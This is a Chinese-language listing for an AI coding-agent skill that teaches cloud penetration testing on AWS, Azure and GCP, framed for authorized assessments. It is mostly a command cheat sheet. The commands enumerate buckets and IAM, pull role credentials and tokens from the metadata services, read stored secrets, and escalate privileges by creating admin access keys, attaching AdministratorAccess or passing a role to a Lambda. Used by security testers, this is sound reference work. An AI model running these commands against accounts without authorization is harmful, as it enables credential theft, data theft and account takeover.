mcpField
E
exploiting-cloud-platforms

exploiting-cloud-platforms

github.com/trilwu安全17799 次安装12 周前更新
代码仓库

关于 exploiting-cloud-platforms

面向安全评估的技能,涵盖 AWS、Azure 和 GCP 环境。内容围绕存储、IAM、计算、无服务器服务及常见配置错误,整理云环境探查与利用方法。

主要功能

  1. 01AWS、Azure 和 GCP 评估指南
  2. 02存储与 IAM 枚举
  3. 03计算资源与元数据服务检查
  4. 04权限提升方法
  5. 05云配置错误检查

适用场景

  1. 01在授权测试中评估云账户
  2. 02检查存储暴露和访问策略
  3. 03审查 IAM 权限提升路径

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill exploiting-cloud-platforms

安装后在 Claude Code 中输入/exploiting-cloud-platforms确认已加载。

附带文件references/azure-command-reference.md

详细介绍

利用云平台

适用场景

  • AWS、Azure 或 GCP 安全评估
  • 利用云配置错误
  • 搜索 S3/Blob/Storage 存储桶
  • 云 IAM 权限提升
  • 利用无服务器函数
  • 滥用云元数据服务

不适用场景

  • 本地部署的 Active Directory — 使用 attacking-active-directory
  • 容器和 Kubernetes 内部机制 — 使用 exploiting-containers
  • 从源代码审查 IaC 和流水线 — 使用 auditing-supply-chain
  • 调查云环境遭到入侵的事件 — 使用 responding-to-incidents
  • 目标是强化账户安全态势,而非发起攻击 — 使用 hardening-cloud-posture

转到深度技能

云平台的多个攻击面已发展得足够复杂,因此需要各自独立的流程技能。评估范围缩小到以下某一项时,请切换技能——此处关于 IAM 和存储的方法不包含这些领域的具体细节。

信号技能
以 Entra ID / Azure AD 为身份攻击目标:令牌、PRT、同意授权、混合同步attacking-entra-id
托管式 Kubernetes 集群(EKS/GKE/AKS):Pod 到云 IMDS、IRSA/Workload Identity、k8s RBACattacking-eks-gke-aks
Lambda / Azure Functions / Cloud Functions / Workers:事件注入、滥用执行角色attacking-serverless
通过 OIDC 联合身份连接云平台的 CI/CD 流水线:宽泛的信任策略、运行器入侵abusing-ci-cd-oidc

AWS 安全

AWS CLI 设置
# Configure credentials
aws configure
# Or export directly
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_DEFAULT_REGION=us-east-1

# Test credentials
aws sts get-caller-identity

# List available regions
aws ec2 describe-regions
S3 存储桶枚举
# List buckets
aws s3 ls

# List bucket contents
aws s3 ls s3://bucket-name/
aws s3 ls s3://bucket-name/ --recursive

# Download bucket contents
aws s3 sync s3://bucket-name/ ./local-folder/

# Check public access
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name

# Test unauthenticated access
aws s3 ls s3://bucket-name/ --no-sign-request
curl https://bucket-name.s3.amazonaws.com/

S3 存储桶发现:

# Common naming patterns
company-backup
company-data
company-dev
company-prod
company-logs
company-assets

# Tools
# s3scanner
python3 s3scanner.py buckets.txt

# S3 Inspector
python3 s3inspector.py --bucket-file buckets.txt
IAM 枚举
# Current user info
aws sts get-caller-identity

# List IAM users (if allowed)
aws iam list-users

# List user policies
aws iam list-attached-user-policies --user-name username
aws iam list-user-policies --user-name username

# Get policy details
aws iam get-policy --policy-arn arn:aws:iam::aws:policy/PolicyName
aws iam get-policy-version --policy-arn arn --version-id v1

# List roles
aws iam list-roles

# List groups
aws iam list-groups
EC2 枚举
# List instances
aws ec2 describe-instances

# Get instance metadata (from instance)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

# List security groups
aws ec2 describe-security-groups

# List key pairs
aws ec2 describe-key-pairs

# List snapshots
aws ec2 describe-snapshots --owner-ids self

# Public snapshots by account
aws ec2 describe-snapshots --owner-ids 123456789012 --restorable-by-user-ids all
Lambda 函数
# List functions
aws lambda list-functions

# Get function code
aws lambda get-function --function-name function-name

# Invoke function
aws lambda invoke --function-name function-name output.txt

# Get function configuration
aws lambda get-function-configuration --function-name function-name
RDS 枚举
# List DB instances
aws rds describe-db-instances

# List DB snapshots
aws rds describe-db-snapshots

# Check if publicly accessible
aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,PubliclyAccessible]'
Secrets Manager
# List secrets
aws secretsmanager list-secrets

# Get secret value
aws secretsmanager get-secret-value --secret-id secret-name
CloudTrail(日志记录)
# Check if CloudTrail is enabled
aws cloudtrail describe-trails

# Check trail status
aws cloudtrail get-trail-status --name trail-name

# Get recent events
aws cloudtrail lookup-events
AWS 权限提升

常见配置错误:

# iam:CreatePolicyVersion - modify existing policies
# iam:SetDefaultPolicyVersion - set older policy version
# iam:PassRole + lambda:CreateFunction - execute code as role
# iam:AttachUserPolicy - attach admin policy to self
# iam:PutUserPolicy - add inline policy to self
# iam:CreateAccessKey - create keys for other users
# iam:UpdateAssumeRolePolicy - modify trust relationships

利用示例:

# Create access key for admin user (if iam:CreateAccessKey)
aws iam create-access-key --user-name admin-user

# Attach admin policy (if iam:AttachUserPolicy)
aws iam attach-user-policy --user-name current-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# PassRole + Lambda
aws lambda create-function --function-name evil --runtime python3.9 --role arn:aws:iam::ACCOUNT:role/AdminRole --handler lambda_function.lambda_handler --zip-file fileb://function.zip
aws lambda invoke --function-name evil output.txt

Azure 安全

Azure CLI 设置、Blob 存储、VM/Azure AD 枚举、Function Apps、Key Vault 和元数据服务命令详见深度参考文档: references/azure-command-reference.md。

GCP 安全

gcloud 设置
# Login
gcloud auth login

# Login with service account
gcloud auth activate-service-account --key-file=key.json

# Get current account
gcloud config list

# List projects
gcloud projects list
存储桶枚举
# List buckets
gsutil ls

# List bucket contents
gsutil ls gs://bucket-name/

# Download files
gsutil cp gs://bucket-name/file.txt ./

# Check bucket permissions
gsutil iam get gs://bucket-name/

# Test unauthenticated access
curl https://storage.googleapis.com/bucket-name/file.txt

存储桶发现:

# Common patterns
company-backup
company-data
company_backup
company_data

# GCPBucketBrute
python3 gcpbucketbrute.py -k company
Compute Engine
# List instances
gcloud compute instances list

# Get instance details
gcloud compute instances describe instance-name --zone=zone

# List disks
gcloud compute disks list

# List snapshots
gcloud compute snapshots list

# List firewall rules
gcloud compute firewall-rules list
IAM 枚举
# List service accounts
gcloud iam service-accounts list

# Get IAM policy
gcloud projects get-iam-policy PROJECT_ID

# List roles
gcloud iam roles list

# Describe role
gcloud iam roles describe roles/editor
Cloud Functions
# List functions
gcloud functions list

# Describe function
gcloud functions describe function-name --region=region

# Download source code (if accessible)
gcloud functions describe function-name --region=region --format="value(sourceArchiveUrl)"
GCP 元数据服务
# From GCP VM
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true" -H "Metadata-Flavor: Google"

# Get access token
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"

# Get service account email
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" -H "Metadata-Flavor: Google"

云平台利用工具

AWS:

# Pacu - AWS exploitation framework
python3 pacu.py

# ScoutSuite - Security auditing
python3 scout.py aws

# Prowler - Security assessment
./prowler -M csv

# WeirdAAL - AWS attack library
python3 weirdAAL.py

Azure:

# MicroBurst - PowerShell toolkit
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureBlobs
Invoke-EnumerateAzureSubDomains

# ScoutSuite
python3 scout.py azure

# ROADtools - Azure AD
roadrecon auth
roadrecon gather
roadrecon gui

GCP:

# ScoutSuite
python3 scout.py gcp

# GCP-IAM-Privilege-Escalation
# Check for privilege escalation paths

云平台快速突破点

AWS:

  • 含有敏感数据的公开 S3 存储桶
  • 过度宽松的 IAM 策略
  • 未加密的快照
  • 公开的 RDS 实例
  • 环境变量中包含机密信息的 Lambda 函数
  • 滥用 EC2 元数据服务(SSRF)

Azure:

  • 公开的 Blob 存储容器
  • 过度宽松的 RBAC
  • 泄露的 Key Vault 机密
  • 凭据薄弱的对外 VM
  • 硬编码机密信息的 Function Apps

GCP:

  • 公开的存储桶
  • 过度宽松的 IAM 绑定
  • 公开的计算实例
  • 服务账号密钥泄露
  • 代码中包含机密信息的 Cloud Functions

常见云配置错误

  1. 公开存储 - 允许公开读取/写入的 S3/Blob/GCS 存储桶
  2. 权限过多 - 过度宽松的 IAM/RBAC 策略
  3. 机密信息泄露 - 代码、环境变量中的密钥/密码
  4. 未启用 MFA - 未启用多重身份验证的关键账户
  5. 开放的安全组 - 敏感端口允许 0.0.0.0/0 访问
  6. 数据未加密 - 未加密的存储/数据库
  7. 默认凭据 - 使用默认密码的服务
  8. 元数据暴露 - 通过 SSRF 访问云元数据服务
  9. 公开快照 - 可公开访问的 EBS/磁盘快照
  10. CloudTrail 已禁用 - 未记录 API 调用

ATT&CK 覆盖范围

由 secskills-core/ttp-index.json 生成 — 编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用这些 ID 前,请根据 当前 ATT&CK 版本重新核实。

初始访问(TA0001)

  • T1078 有效账户 (也涉及持久化、权限提升、防御规避) — 另请参阅 cracking-passwords、attacking-active-directory
  • T1078.004 云账户 (也涉及持久化) — 另请参阅 attacking-entra-id
  • T1199 可信关系 — 另请参阅 abusing-ci-cd-oidc、attacking-entra-id

持久化(TA0003)

  • T1098.001 其他云凭据 — 另请参阅 responding-to-incidents

凭据访问(TA0006)

  • T1528 窃取应用访问令牌 — 另请参阅 testing-apis、attacking-entra-id、attacking-oauth-oidc
  • T1552 未保护的凭据 — 另请参阅 escalating-linux-privileges、auditing-supply-chain、abusing-ci-cd-oidc
  • T1552.005 云实例元数据 API — 另请参阅 exploiting-ssrf、attacking-eks-gke-aks

发现(TA0007)

  • T1069 权限组发现 — 另请参阅 attacking-active-directory
  • T1087 账户发现 — 另请参阅 attacking-active-directory
  • T1526 云服务发现

收集(TA0009)

  • T1530 云存储中的数据

影响(TA0040)

  • T1496 资源劫持 — 另请参阅 hunting-threats

这些技术对应的检测内容:engineering-detections。主动搜寻:hunting-threats。入侵后响应:responding-to-incidents。

参考资料

评论

支持 Markdown